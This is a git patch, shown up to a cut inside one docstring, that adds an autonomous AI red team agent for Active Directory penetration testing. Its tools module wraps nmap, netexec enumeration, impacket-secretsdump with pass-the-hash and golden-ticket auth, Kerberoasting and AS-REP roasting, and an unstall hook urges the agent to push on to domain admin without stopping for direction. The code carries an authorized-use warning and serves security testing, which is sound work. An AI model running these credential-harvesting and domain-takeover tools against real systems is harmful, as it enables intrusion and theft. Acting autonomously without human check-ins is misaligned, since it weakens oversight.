From 0c91e4044c1edd523437e61471dd015c575b6a3e Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Wed, 7 Jan 2026 22:13:04 -0700 Subject: [PATCH 1/4] feat: add autonomous red team agent with tools, reporting, and CLI integration **Added:** - Introduced `create_redteam.py` as a factory for building red team agents with preset workflows, event hooks, and system instructions for Active Directory penetration testing operations - Added a CLI command (`red-team`) to `main.py` to launch autonomous red team operations against a target, including report generation and result logging - Implemented `redteam_agent.py` orchestrator class to manage agent execution, state, and automated reporting for red team engagements - Developed `redteam_report.py` to generate detailed markdown reports of red team findings, attack paths, and MITRE ATT&CK mappings - Created `tools/redteam.py` with comprehensive toolsets for network enumeration, credential harvesting, cracking, share pilfering, golden ticket attacks, BloodHound/Certipy/Delegation workflows, and reporting integration - Added new agent and task instruction templates under `templates/redteam/agents` covering system operation, password cracking, golden ticket, and share pilfering - Added new report summary template under `templates/redteam/reports` for structured operation results **Changed:** - Extended `models.py` with new dataclasses for red team operations, including `Target`, `Host`, `User`, `Credential`, `Hash`, `Share`, and `RedTeamState` to track discoveries, credentials, progress, and success metrics **Why:** - Enables fully automated, reproducible, and observable red team engagements with systematic enumeration, privilege escalation, credential harvesting, and executive reporting suitable for penetration testing and security validation --- src/core/create_redteam.py | 218 +++ src/main.py | 113 ++ src/models.py | 112 ++ src/redteam_agent.py | 226 +++ src/redteam_report.py | 147 ++ src/tools/redteam.py | 1469 +++++++++++++++++ .../agents/cracker_instructions.md.jinja | 39 + .../redteam/agents/cracker_task.md.jinja | 9 + .../golden_ticket_instructions.md.jinja | 17 + .../agents/golden_ticket_task.md.jinja | 35 + .../redteam/agents/initial_task.md.jinja | 20 + .../agents/share_pilfer_instructions.md.jinja | 53 + .../redteam/agents/share_pilfer_task.md.jinja | 10 + .../agents/system_instructions.md.jinja | 163 ++ .../reports/operation_summary.md.jinja | 103 ++ 15 files changed, 2734 insertions(+) create mode 100644 src/core/create_redteam.py create mode 100644 src/redteam_agent.py create mode 100644 src/redteam_report.py create mode 100644 src/tools/redteam.py create mode 100644 templates/redteam/agents/cracker_instructions.md.jinja create mode 100644 templates/redteam/agents/cracker_task.md.jinja create mode 100644 templates/redteam/agents/golden_ticket_instructions.md.jinja create mode 100644 templates/redteam/agents/golden_ticket_task.md.jinja create mode 100644 templates/redteam/agents/initial_task.md.jinja create mode 100644 templates/redteam/agents/share_pilfer_instructions.md.jinja create mode 100644 templates/redteam/agents/share_pilfer_task.md.jinja create mode 100644 templates/redteam/agents/system_instructions.md.jinja create mode 100644 templates/redteam/reports/operation_summary.md.jinja diff --git a/src/core/create_redteam.py b/src/core/create_redteam.py new file mode 100644 index 00000000..9703d219 --- /dev/null +++ b/src/core/create_redteam.py @@ -0,0 +1,218 @@ +"""Factory for creating red team agents with presets.""" + +import dreadnode as dn +from dreadnode.agent import Agent +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) +from dreadnode.agent.hooks import retry_with_feedback +from dreadnode.agent.stop import tool_use +from dreadnode.agent.thread import Thread +from loguru import logger + +from src.mitre import MITREAttackClient +from src.models import RedTeamState +from src.templates import get_template_loader +from src.tools.redteam import ( + BloodHoundTools, + CertipyTools, + CrackingTools, + CredentialHarvestingTools, + DelegationTools, + GoldenTicketTools, + NetworkEnumerationTools, + RedTeamReportingTools, + SharePilferingTools, +) + +# Load system instructions from template +REDTEAM_SYSTEM_INSTRUCTIONS = get_template_loader().render( + "redteam/agents/system_instructions.md.jinja" +) + + +async def log_step_start(event: StepStart): + """Log step start for debugging.""" + logger.info(f"šŸ“ Step started: step_number={getattr(event, 'step_number', '?')}") + + +async def log_generation_end(event: GenerationEnd): + """Log generation end with details.""" + logger.info("šŸ“ Generation ended") + # Log the message if available + if hasattr(event, "message") and event.message: + msg = event.message + logger.info(f"šŸ“ Message type: {type(msg).__name__}") + if hasattr(msg, "content"): + logger.info(f"šŸ“ Message content (first 500 chars): {str(msg.content)[:500]}") + if hasattr(msg, "tool_calls") and msg.tool_calls: + logger.info(f"šŸ“ Tool calls requested: {[tc.name for tc in msg.tool_calls]}") + + +async def log_agent_error(event: AgentError): + """Log agent errors.""" + error = getattr(event, "error", None) + logger.error(f"🚨 Agent error: {error}") + if hasattr(event, "traceback"): + logger.error(f"🚨 Traceback: {event.traceback}") + + +async def log_agent_end(event: AgentEnd): + """Log agent end.""" + stop_reason = getattr(event, "stop_reason", None) + logger.info(f"šŸ“ Agent ended: stop_reason={stop_reason}") + + +async def log_tool_usage(event: ToolStart): + """Log tool calls for observability.""" + if hasattr(event, "tool_call") and event.tool_call: + logger.info(f"šŸ”§ Red Team Tool: {event.tool_call.name}") + logger.info(f"šŸ”§ Tool args: {getattr(event.tool_call, 'arguments', {})}") + dn.log_metric(f"redteam_tool_{event.tool_call.name}", 1, mode="count") + + +async def log_tool_result(event: ToolEnd): + """Log tool results.""" + if hasattr(event, "tool_call") and event.tool_call: + if hasattr(event, "error") and event.error: + logger.warning(f"āŒ Tool {event.tool_call.name} failed: {event.error}") + dn.log_metric("redteam_tool_errors", 1, mode="count") + else: + result = getattr(event, "result", None) + result_preview = str(result)[:200] if result else "None" + logger.info(f"āœ… Tool {event.tool_call.name} completed: {result_preview}") + + +unstall_hook = retry_with_feedback( + event_type=AgentStalled, + feedback=( + "You seem stuck. Remember the priority workflow:\n" + "1. PRIORITY 1: krbtgt hash found? → Use golden_ticket tool immediately\n" + "2. PRIORITY 2: Administrator hash found? → domain_admin_checker on ALL targets\n" + "3. PRIORITY 3: New password found? → Re-enumerate users, shares, kerberoast, asrep_roast\n" + "4. PRIORITY 4: Share access found? → Pilfer shares for credentials\n" + "5. Use record_finding to report EVERY discovery\n" + "6. Continue autonomous execution - don't stop for direction" + ), +) + + +@dn.tool +def complete_operation(summary: str) -> str: + """ + Mark the red team operation as complete and generate final report. + + Use this tool when you have: + - Exhausted all credential sources + - Attempted enumeration on all discovered targets + - Cracked all obtainable hashes + - Generated golden ticket (if krbtgt hash was found) + - Achieved domain admin access (or determined it's not possible) + + Args: + summary: Executive summary of the operation including: + - All local administrators found + - All domain administrators found + - Attack paths for each admin compromise + - Total credentials obtained + - Success metrics achieved + + Returns: + Confirmation message + + Example: + >>> complete_operation("Operation successful. Domain admin achieved via...") + """ + logger.success(f"šŸŽÆ Red team operation completed: {summary}") + return f"āœ“ Operation marked as complete. Summary: {summary}" + + +def create_redteam_agent( + model: str, + mitre_client: MITREAttackClient, + state: RedTeamState, + max_steps: int = 200, +) -> Agent: + """ + Create a configured red team agent. + + Args: + model: LLM model to use + mitre_client: Initialized MITRE ATT&CK client + state: Red team operation state object + max_steps: Maximum agent steps (default: 200 for complex operations) + + Returns: + Configured agent ready for penetration testing operations + """ + # Initialize toolsets + network_tools = NetworkEnumerationTools() + network_tools.set_state(state) + + credential_tools = CredentialHarvestingTools() + credential_tools.set_state(state) + + cracking_tools = CrackingTools() + cracking_tools.set_state(state) + + share_tools = SharePilferingTools() + share_tools.set_state(state) + + golden_ticket_tools = GoldenTicketTools() + golden_ticket_tools.set_state(state) + + # New GOAD-based toolsets + bloodhound_tools = BloodHoundTools() + bloodhound_tools.set_state(state) + + certipy_tools = CertipyTools() + certipy_tools.set_state(state) + + delegation_tools = DelegationTools() + delegation_tools.set_state(state) + + reporting_tools = RedTeamReportingTools() + reporting_tools.set_state(state) + + # Build tool list + tools: list = [ + network_tools, + credential_tools, + cracking_tools, + share_tools, + golden_ticket_tools, + bloodhound_tools, + certipy_tools, + delegation_tools, + reporting_tools, + complete_operation, + ] + + logger.info(f"Creating red team agent with {len(tools)} toolsets") + + return dn.Agent( + name="Ares Red Team Operator", + model=model, + instructions=REDTEAM_SYSTEM_INSTRUCTIONS, + max_steps=max_steps, + tools=tools, + hooks=[ + log_step_start, + log_generation_end, + log_agent_error, + log_agent_end, + log_tool_usage, + log_tool_result, + unstall_hook, + ], + stop_conditions=[ + tool_use("complete_operation"), + ], + thread=Thread(), # type: ignore[call-arg] + ) diff --git a/src/main.py b/src/main.py index 9b08025e..4085b852 100644 --- a/src/main.py +++ b/src/main.py @@ -274,6 +274,119 @@ async def investigate_alert( logger.success(f" Report: {result['report_path']}") +# Cyclopts decorator typing not yet fully supported by type checkers +@app.command(name="red-team") # type: ignore[untyped-decorator] +async def redteam( + target_ip: str, + *, + args: Args | None = None, + dn_args: DreadnodeArgs | None = None, +) -> None: + """ + Execute a red team operation against a target. + + This command runs an autonomous penetration testing agent that will: + - Enumerate network hosts, users, and shares + - Harvest credentials via secretsdump, kerberoasting, and AS-REP roasting + - Crack password hashes + - Pilfer SMB shares for credentials + - Generate golden tickets if krbtgt hash is found + - Achieve domain admin access if possible + + **WARNING**: Only use this command in authorized penetration testing environments. + Unauthorized use may be illegal. + + Args: + target_ip: Primary target IP address for the red team operation + + Example: + uv run python -m src.main redteam 192.168.1.100 + uv run python -m src.main redteam 192.168.1.100 --args.model claude-sonnet-4-20250514 + """ + args = args or Args() + dn_args = dn_args or DreadnodeArgs() + + # Configure Dreadnode + dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "") + + dn.configure( + server=dn_args.server, + token=dreadnode_token, + organization=dn_args.organization, + workspace=dn_args.workspace, + project=dn_args.project, + console=dn_args.console, + ) + + # Log startup + logger.info("=" * 60) + logger.info("ARES RED TEAM AGENT") + logger.info("=" * 60) + logger.info(f"Target: {target_ip}") + logger.info(f"Model: {args.model}") + logger.info(f"Max Steps: {args.max_steps}") + logger.info(f"Report Dir: {args.report_dir}") + logger.info("=" * 60) + logger.warning("") + logger.warning("āš ļø AUTHORIZED PENETRATION TESTING ONLY") + logger.warning(" Ensure you have proper authorization before proceeding") + logger.warning("") + + from .mitre import MITREAttackClient + from .redteam_agent import RedTeamOrchestrator + + # Load MITRE data + logger.info("Loading MITRE ATT&CK data...") + mitre_client = MITREAttackClient() + await mitre_client.load() + # Accessing protected members for logging/diagnostics only - not modifying internal state + techniques_count = len(mitre_client._techniques) # noqa: SLF001 + tactics_count = len(mitre_client._tactics) # noqa: SLF001 + logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics") + + # Create report directory + report_dir = Path(args.report_dir) + report_dir.mkdir(exist_ok=True) + + # Create orchestrator + orchestrator = RedTeamOrchestrator( + model=args.model, + mitre_client=mitre_client, + report_dir=report_dir, + max_steps=args.max_steps, + ) + + # Run operation + logger.info("") + logger.info(f"Starting red team operation against {target_ip}...") + logger.info("") + + try: + result = await orchestrator.execute_operation(target_ip) + + logger.success("") + logger.success("=" * 60) + logger.success("RED TEAM OPERATION COMPLETE") + logger.success("=" * 60) + logger.success(f" Status: {result['status']}") + logger.success(f" Hosts Discovered: {result.get('host_count', 0)}") + logger.success(f" Credentials Obtained: {result.get('credential_count', 0)}") + logger.success(f" Admins Found: {result.get('admin_count', 0)}") + + if result.get("has_domain_admin"): + logger.success(" šŸŽÆ DOMAIN ADMIN ACCESS: ACHIEVED") + if result.get("has_golden_ticket"): + logger.success(" šŸŽ« GOLDEN TICKET: GENERATED") + + logger.success(f" Report: {result['report_path']}") + logger.success("") + + except Exception as e: + logger.error("") + logger.error(f"Red team operation failed: {e}") + raise + + # Cyclopts decorator typing not yet fully supported by type checkers @app.command # type: ignore[untyped-decorator] def version() -> None: diff --git a/src/models.py b/src/models.py index 2ece8739..bfcafd82 100644 --- a/src/models.py +++ b/src/models.py @@ -332,3 +332,115 @@ def to_summary(self) -> dict: "hosts_investigated": list(self.queried_hosts), "users_investigated": list(self.queried_users), } + + +# Red Team Models +@dataclass +class Target: + """Primary target information.""" + + ip: str + hostname: str = "" + domain: str = "" + + +@dataclass +class Host: + """Discovered host information.""" + + ip: str + hostname: str = "" + os: str = "" + roles: list[str] = field(default_factory=list) + services: list[str] = field(default_factory=list) + + +@dataclass +class User: + """Discovered user account.""" + + username: str + domain: str = "" + description: str = "" + is_admin: bool = False + + +@dataclass +class Credential: + """Discovered credential.""" + + username: str + password: str + domain: str = "" + source: str = "" # where it was found + is_admin: bool = False + + +@dataclass +class Hash: + """Discovered password hash.""" + + username: str + hash_value: str + hash_type: str = "NTLM" + domain: str = "" + cracked_password: str = "" + + +@dataclass +class Share: + """Discovered SMB share.""" + + host: str + name: str + permissions: str = "" # READ, WRITE, READ/WRITE + comment: str = "" + + +@dataclass +class RedTeamState: + """Tracks state for red team operations.""" + + operation_id: str + target: Target + completed: bool = False + started_at: datetime = field(default_factory=datetime.utcnow) + stage: InvestigationStage = InvestigationStage.TRIAGE + report_summary: str = "" + + # Discovery tracking + hosts: list[Host] = field(default_factory=list) + users: list[User] = field(default_factory=list) + credentials: list[Credential] = field(default_factory=list) + hashes: list[Hash] = field(default_factory=list) + shares: list[Share] = field(default_factory=list) + weaknesses: list[str] = field(default_factory=list) + + # Operation tracking + queried_hosts: set[str] = field(default_factory=set) + tested_credentials: set[str] = field(default_factory=set) + timeline: list[TimelineEvent] = field(default_factory=list) + identified_techniques: set[str] = field(default_factory=set) + + # Success flags + has_domain_admin: bool = False + has_golden_ticket: bool = False + + @property + def host_count(self) -> int: + """Count of discovered hosts.""" + return len(self.hosts) + + @property + def credential_count(self) -> int: + """Count of discovered credentials.""" + return len(self.credentials) + + @property + def admin_count(self) -> int: + """Count of admin credentials.""" + return sum(1 for c in self.credentials if c.is_admin) + + def get_credential_key(self, username: str, password: str, domain: str = "") -> str: + """Generate unique key for credential tracking.""" + return f"{domain}:{username}:{password}".lower() diff --git a/src/redteam_agent.py b/src/redteam_agent.py new file mode 100644 index 00000000..d9856a5d --- /dev/null +++ b/src/redteam_agent.py @@ -0,0 +1,226 @@ +""" +Ares Red Team Agent. + +Orchestrates penetration testing operations for Active Directory environments. +""" + +import uuid +from pathlib import Path + +import dreadnode as dn +from loguru import logger + +from .core.create_redteam import create_redteam_agent +from .mitre import MITREAttackClient +from .models import RedTeamState, Target +from .redteam_report import RedTeamReportGenerator +from .templates import get_template_loader + + +def build_initial_task(target_ip: str) -> str: + """Build the initial task prompt for red team operation. + + Args: + target_ip: IP address of the primary target. + + Returns: + Formatted task prompt string for agent initialization. + + Example: + >>> task = build_initial_task("192.168.1.100") + >>> '192.168.1.100' in task + True + """ + loader = get_template_loader() + return loader.render( + "redteam/agents/initial_task.md.jinja", + target_ip=target_ip, + ) + + +class RedTeamOrchestrator: + """Main orchestrator for red team operations. + + Creates and manages Dreadnode Agents for penetration testing engagements. + + Attributes: + model: LLM model identifier string. + mitre_client: Client for MITRE ATT&CK data lookups. + report_dir: Directory path for generated reports. + max_steps: Maximum number of agent steps per operation. + """ + + def __init__( + self, + model: str, + mitre_client: MITREAttackClient, + report_dir: Path, + max_steps: int = 200, + ): + self.model = model + self.mitre_client = mitre_client + self.report_dir = report_dir + self.max_steps = max_steps + + async def execute_operation(self, target_ip: str) -> dict: + """Execute a red team operation against a target. + + Creates a new agent for this operation and runs it until completion. + + Args: + target_ip: IP address of the primary target system. + + Returns: + A dict containing: + - operation_id: Unique identifier for this operation + - status: "completed" or "failed" + - report_path: Path to the generated markdown report + - host_count: Number of hosts discovered + - credential_count: Number of credentials obtained + - has_domain_admin: Whether domain admin access was achieved + - has_golden_ticket: Whether golden ticket was generated + + Raises: + TimeoutError: If operation exceeds the configured timeout. + """ + operation_id = f"redteam-{uuid.uuid4().hex[:8]}" + + logger.info(f"Starting red team operation {operation_id} against: {target_ip}") + + # Create operation state + state = RedTeamState( + operation_id=operation_id, + target=Target(ip=target_ip), + ) + + initial_task = build_initial_task(target_ip) + + with dn.run(tags=["red-team-operation", target_ip]): + dn.log_params( + model=self.model, + operation_id=operation_id, + target_ip=target_ip, + max_steps=self.max_steps, + ) + dn.log_input("target", {"ip": target_ip}) + + agent = create_redteam_agent( + model=self.model, + mitre_client=self.mitre_client, + state=state, + max_steps=self.max_steps, + ) + + # Run the operation with timeout + try: + import asyncio + + logger.info(f"Starting agent.run() with max_steps={self.max_steps}") + logger.info(f"Initial task length: {len(initial_task)} chars") + + # Add a generous timeout (10 minutes per step for red team operations) + timeout_seconds = self.max_steps * 600 # 10 minutes per step + + result = await asyncio.wait_for( + agent.run(initial_task), + timeout=timeout_seconds, + ) + + logger.success( + f"Red team agent completed: {result.steps} steps, {result.stop_reason}" + ) + + # Log additional details about the result + if hasattr(result, "error") and result.error: + logger.error(f"Agent error: {result.error}") + if hasattr(result, "last_error") and result.last_error: + logger.error(f"Last error: {result.last_error}") + if hasattr(result, "messages") and result.messages: + logger.info(f"Messages count: {len(result.messages)}") + for i, msg in enumerate(result.messages[-3:]): # Last 3 messages + logger.info(f"Message {i}: {type(msg).__name__} - {str(msg)[:200]}") + + # Mark operation as completed + state.completed = True + + # Generate report + report_path = self._generate_report(state, result) + + dn.log_output("report_path", str(report_path)) + dn.log_metric("operation_success", 1) + dn.log_metric("hosts_discovered", state.host_count) + dn.log_metric("credentials_obtained", state.credential_count) + dn.log_metric("domain_admin_achieved", 1 if state.has_domain_admin else 0) + dn.log_metric("golden_ticket_achieved", 1 if state.has_golden_ticket else 0) + + return { + "operation_id": operation_id, + "status": "completed", + "report_path": str(report_path), + "host_count": state.host_count, + "user_count": len(state.users), + "credential_count": state.credential_count, + "admin_count": state.admin_count, + "has_domain_admin": state.has_domain_admin, + "has_golden_ticket": state.has_golden_ticket, + "techniques_identified": list(state.identified_techniques), + } + + except asyncio.TimeoutError: + logger.error(f"Operation {operation_id} timed out after {timeout_seconds} seconds") + dn.log_metric("operation_timeout", 1) + + # Generate partial report + state.report_summary = "Operation timed out before completion" + report_path = self._generate_report(state, None) + + return { + "operation_id": operation_id, + "status": "timeout", + "report_path": str(report_path), + "host_count": state.host_count, + "credential_count": state.credential_count, + "has_domain_admin": state.has_domain_admin, + "has_golden_ticket": state.has_golden_ticket, + } + + except Exception as e: + logger.exception(f"Operation {operation_id} failed with error: {e}") + dn.log_metric("operation_error", 1) + + # Generate error report + state.report_summary = f"Operation failed: {e!s}" + report_path = self._generate_report(state, None) + + return { + "operation_id": operation_id, + "status": "failed", + "error": str(e), + "report_path": str(report_path), + } + + def _generate_report(self, state: RedTeamState, result: any) -> Path: + """Generate the red team operation report. + + Args: + state: The operation state containing all discoveries. + result: The agent result object (or None if incomplete). + + Returns: + Path to the generated report markdown file. + """ + report_generator = RedTeamReportGenerator() + report_content = report_generator.generate(state) + + # Write report to file + report_filename = f"{state.operation_id}_report.md" + report_path = self.report_dir / report_filename + + self.report_dir.mkdir(parents=True, exist_ok=True) + + with open(report_path, "w") as f: + f.write(report_content) + + logger.success(f"Red team report generated: {report_path}") + + return report_path diff --git a/src/redteam_report.py b/src/redteam_report.py new file mode 100644 index 00000000..dfc27514 --- /dev/null +++ b/src/redteam_report.py @@ -0,0 +1,147 @@ +""" +Markdown Report Generator for red team operations. + +Produces detailed penetration testing reports with discovered assets, +credentials, attack paths, and MITRE ATT&CK mapping. +""" + +from datetime import datetime + +from .models import RedTeamState +from .templates import get_template_loader + + +class RedTeamReportGenerator: + """Generates markdown reports from red team operation results. + + Attributes: + loader: Template loader for rendering report sections. + """ + + def __init__(self): + self.loader = get_template_loader() + + def generate(self, state: RedTeamState) -> str: + """Generate the full markdown report. + + Args: + state: Red team operation state containing all findings. + + Returns: + Complete markdown report as a string. + """ + # Calculate duration + duration = datetime.utcnow() - state.started_at + duration_str = str(duration).split(".")[0] # Remove microseconds + + # Generate executive summary + executive_summary = self._generate_executive_summary(state) + + # Render the report using the template + return self.loader.render( + "redteam/reports/operation_summary.md.jinja", + operation_id=state.operation_id, + target_ip=state.target.ip, + started_at=state.started_at.strftime("%Y-%m-%d %H:%M:%S UTC"), + completed_at=datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC"), + duration=duration_str, + stage=state.stage.value, + executive_summary=executive_summary, + has_domain_admin=state.has_domain_admin, + has_golden_ticket=state.has_golden_ticket, + host_count=state.host_count, + user_count=len(state.users), + credential_count=state.credential_count, + admin_count=state.admin_count, + share_count=len(state.shares), + hosts=state.hosts, + users=state.users, + credentials=state.credentials, + shares=state.shares, + weaknesses=state.weaknesses, + timeline=state.timeline, + techniques_identified=state.identified_techniques, + ) + + def _generate_executive_summary(self, state: RedTeamState) -> str: + """Generate the executive summary section. + + Args: + state: Red team operation state. + + Returns: + Executive summary text. + """ + if state.report_summary: + return state.report_summary + + summary_parts = [] + + # Operation overview + summary_parts.append( + f"Red team operation **{state.operation_id}** was executed against target " + f"**{state.target.ip}** in an Active Directory penetration testing engagement." + ) + + # Key achievements + achievements = [] + if state.has_domain_admin: + achievements.append("āœ“ **Domain Administrator access achieved**") + if state.has_golden_ticket: + achievements.append("āœ“ **Golden ticket generated** for persistent access") + if state.admin_count > 0: + achievements.append(f"āœ“ **{state.admin_count} administrator account(s)** discovered") + if state.credential_count > 0: + achievements.append(f"āœ“ **{state.credential_count} credential(s)** obtained") + + if achievements: + summary_parts.append("\n\n**Key Achievements:**\n" + "\n".join(achievements)) + + # Discovery statistics + summary_parts.append( + f"\n\n**Discovery Statistics:**\n" + f"- Hosts Discovered: {state.host_count}\n" + f"- User Accounts: {len(state.users)}\n" + f"- Network Shares: {len(state.shares)}\n" + f"- Password Hashes: {len(state.hashes)}\n" + f"- Vulnerabilities: {len(state.weaknesses)}" + ) + + # Attack path summary + if state.has_domain_admin or state.has_golden_ticket: + summary_parts.append( + "\n\n**Attack Path:**\n" + "The operation successfully achieved privileged access through systematic " + "enumeration, credential harvesting, and lateral movement techniques. " + "Detailed attack timeline is provided below." + ) + + # Security posture assessment + if state.has_domain_admin or state.has_golden_ticket: + posture = "**CRITICAL**" + assessment = ( + "The target environment has critical security weaknesses that allowed " + "full domain compromise. Immediate remediation is required." + ) + elif state.admin_count > 0: + posture = "**HIGH**" + assessment = ( + "The target environment has significant security weaknesses with administrative " + "access obtained. Remediation is strongly recommended." + ) + elif state.credential_count > 0: + posture = "**MEDIUM**" + assessment = ( + "The target environment has moderate security weaknesses with credentials " + "compromised. Security improvements are recommended." + ) + else: + posture = "**LOW**" + assessment = ( + "The target environment demonstrated resilience against the red team operation. " + "Continue monitoring and maintain security posture." + ) + + summary_parts.append(f"\n\n**Security Posture:** {posture}\n\n{assessment}") + + return "".join(summary_parts) diff --git a/src/tools/redteam.py b/src/tools/redteam.py new file mode 100644 index 00000000..36afca0d --- /dev/null +++ b/src/tools/redteam.py @@ -0,0 +1,1469 @@ +"""Red Team penetration testing tools for Active Directory environments. + +This module provides toolsets for network enumeration, credential harvesting, +password cracking, share pilfering, and golden ticket generation. +""" + +import logging +import os +import subprocess +import tempfile +import time +from datetime import datetime +from typing import Any + +import dreadnode as dn +from dreadnode.agent.tools.base import Toolset + +from src.models import ( + Credential, + Hash, + Host, + RedTeamState, + Share, + TimelineEvent, + User, +) + +logger = logging.getLogger(__name__) + + +class NetworkEnumerationTools(Toolset): + """Tools for network scanning and enumeration.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def nmap_scan(self, target: str) -> str: + """ + Scans target IPs to discover services, ports, and host information. + + This tool performs a comprehensive network scan to identify: + - Open ports and running services + - Service versions + - Operating system information + - Domain Controller vs Member Server classification + + Args: + target: IP addresses to scan (space-separated for multiple targets) + + Returns: + Detailed nmap scan output showing discovered services and versions + + Example: + >>> result = nmap_scan("192.168.1.2") + >>> result = nmap_scan("192.168.1.2 192.168.1.3 192.168.1.4") + """ + cmd = ["nmap", "-T4", "-sS", "-sV", "--open"] + target.split(" ") + + try: + logger.info(f"[*] Scanning targets: {target}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) + + if result.returncode != 0: + logger.error(f"[!] Nmap scan failed: {result.stderr}") + return result.stderr + + logger.info(f"[*] Nmap scan completed for target {target}") + + # Track the scanned hosts + if self.state: + for ip in target.split(): + self.state.queried_hosts.add(ip) + + return result.stdout + + except subprocess.TimeoutExpired: + logger.error("Nmap scan timed out after 5 minutes") + return "Nmap scan timed out after 5 minutes" + except Exception as e: + logger.error(f"Scan failed: {e!s}") + return f"Scan failed: {e!s}" + + @dn.tool_method + def enumerate_users(self, target: str, username: str, password: str, domain: str = "") -> str: + """ + Enumerate user accounts on a target using netexec (crackmapexec successor). + + This tool discovers all user accounts in the Active Directory environment, + which is critical for credential-based attacks and understanding the + user landscape. + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (use empty string for null session) + password: Password for authentication (use empty string for null session) + domain: Domain for authentication (optional) + + Returns: + List of discovered user accounts with details + + Example: + >>> enumerate_users("192.168.1.100", "user", "pass", "DOMAIN") + >>> enumerate_users("192.168.1.100", "", "", "") # null session + """ + try: + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--users") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info( + f"[*] User enumeration completed for {target} (user:{username}, domain:{domain})" + ) + + return result.stdout + + except subprocess.TimeoutExpired: + return f"User enumeration timed out for {target}" + except Exception as e: + logger.error(f"User enumeration failed: {e}") + return f"User enumeration failed for {target}: {e}" + + @dn.tool_method + def enumerate_shares( + self, target: str, domain: str = "", username: str = "", password: str = "" + ) -> str: + """ + Enumerate SMB shares on a target using netexec. + + This tool discovers network shares which may contain sensitive files, + credentials, or configuration information critical for privilege escalation. + + Args: + target: IP address or hostname to enumerate + domain: Domain for authentication + username: Username for authentication (use empty string for null session) + password: Password for authentication (use empty string for null session) + + Returns: + List of discovered shares with access permissions + + Example: + >>> enumerate_shares("192.168.1.100", "DOMAIN", "user", "pass") + """ + try: + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--shares") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info(f"[*] Share enumeration completed for {target}") + + return result.stdout + + except subprocess.TimeoutExpired: + return f"Share enumeration timed out for {target}" + except Exception as e: + logger.error(f"Share enumeration failed: {e}") + return f"Share enumeration failed for {target}: {e}" + + +class CredentialHarvestingTools(Toolset): + """Tools for harvesting credentials via Active Directory attacks.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def secretsdump( + self, + target: str, + username: str, + password: str | None = None, + hash: str | None = None, + domain: str | None = None, + no_pass: bool = False, + timeout_minutes: int = 10, + ) -> str: + """ + Extract secrets using impacket-secretsdump for credential harvesting. + + This is one of the most powerful tools for extracting credentials from + Windows systems. It dumps SAM database, cached credentials, and LSA secrets. + **CRITICAL: When you have admin access, run this on ALL targets, not just one.** + + Args: + target: Target IP address or domain name + username: Username with admin privileges + password: Password for the username (optional) + hash: NTLM hash for pass-the-hash authentication (optional) + domain: Domain name (optional, can be inferred) + no_pass: If True, use Kerberos golden ticket authentication + timeout_minutes: Maximum time to spend dumping (default: 10) + + Returns: + Extracted credentials including NTLM hashes, Kerberos keys, and secrets + + Example: + >>> secretsdump("192.168.1.100", "Administrator", password="P@ssw0rd") + >>> secretsdump("192.168.1.100", "Administrator", hash="aad3b4...", domain="DOMAIN") + >>> secretsdump("domain.local", "Administrator", no_pass=True) # golden ticket + """ + cmd = ["/usr/bin/impacket-secretsdump"] + + if password and domain: + target_string = f"{domain}/{username}:{password}@{target}" + elif password and not domain: + target_string = f"{username}:{password}@{target}" + elif hash and domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{domain}/{username}@{target}" + elif hash and not domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{username}@{target}" + elif no_pass: + cmd.extend(["-k", "-no-pass"]) + target_string = f"{username}@{target}" + else: + return "[!] Error: Either password, hash, or no_pass must be provided" + + cmd.append(target_string) + + try: + logger.info(f"[*] Running secretsdump on {target} with {username}") + + env = os.environ.copy() if no_pass else None + if no_pass and env is not None: + env["KRB5CCNAME"] = "Administrator.ccache" + + result = subprocess.run( + cmd, + check=False, + capture_output=True, + text=True, + timeout=timeout_minutes * 60, + env=env, + ) + + logger.info(f"[*] Secretsdump completed for {target}") + return result.stdout + + except subprocess.TimeoutExpired: + return "[!] Secretsdump timed out" + except Exception as e: + return f"[!] Secretsdump error: {e}" + + @dn.tool_method + def kerberoast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Perform Kerberoasting attack to extract service account password hashes. + + Kerberoasting is a technique for extracting Kerberos TGS hashes for accounts + with Service Principal Names (SPNs). These hashes can be cracked offline to + obtain service account passwords, which often have elevated privileges. + + Args: + domain: Target domain (e.g., 'example.local') + username: Valid domain username + password: Password for the username + dc_ip: Domain controller IP address + + Returns: + Kerberos TGS hashes for service accounts that can be cracked offline + + Example: + >>> kerberoast("example.local", "user", "pass", "192.168.1.100") + """ + cmd = [ + "/usr/bin/impacket-GetUserSPNs", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + try: + logger.info(f"[*] Kerberoasting {domain} using {username}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + return result.stdout + + except subprocess.TimeoutExpired: + return "Error: Kerberoasting timed out" + except Exception as e: + return f"Kerberoasting failed: {e!s}" + + @dn.tool_method + def asrep_roast( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Perform AS-REP roasting attack to find users without Kerberos pre-authentication. + + AS-REP roasting targets users with "Do not require Kerberos preauthentication" + enabled. This misconfiguration allows extracting AS-REP hashes that can be + cracked offline to obtain user passwords. + + Args: + domain: Target domain (e.g., 'example.local') + username: Valid domain username (for enumeration) + password: Password for the username + dc_ip: 